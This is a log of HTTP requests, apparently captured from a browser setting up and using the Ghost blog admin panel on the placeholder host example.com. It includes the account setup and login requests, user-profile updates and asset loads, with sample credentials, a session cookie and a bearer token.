{"method": "GET", "target": "/ghost/assets/setup-DWks57uU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/field-574pWL80.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/label-vIUVGh2q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-8uIrBDxl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/auth-layout-CaD1cj0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/validator-C1GVGAAP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/password-rules-Co1GJV0H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/ghost-orb-bYPPSSAp.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/InterVariable-DiVDrmQJ.woff2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/index-C3xC5ZJE.css", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 123", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Example Blog\",\"name\":\"Alice Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/themes/active/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/global-search-modal-7K0SXxhj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dirty-confirm-dialog-BY-NFehF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-dirty-confirmation-BZt1qjQk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/__vite-browser-external-QvLZ7d7o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/search-index-BVbNE68U.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/open-section-Dbja-jTl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-section-visibility-qAu_ZOpN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/availability-ZBcKUaLw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/notifications/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1308", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/identities/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/onboarding-route-CTfF7IJD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/share-modal-D6_apZJH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.800Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
|
||||||
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/logo-loader-dark-CuSPz-zc.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY", "Range: bytes=0-"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/editor-screen-BQzGYHoq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-limiter-BDyb24mL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/isPlainObject-B4wq7q-q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/luxon-D0MQDYL8.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/newsletters-Dc9dNenR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/automations-CHwWlIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/focus-koenig-editor-on-bottom-click-NfX8T9TL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/style-A57lkXV2.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-host-limits-DLFHO8IN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/box-CvaCx3xG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/grid-EKVMrdPt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-pintura-config-DDGo3qjQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/calendar-BqF8KY_y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/checkbox-USP8gq7k.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/custom-fonts-CMD0ed16.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
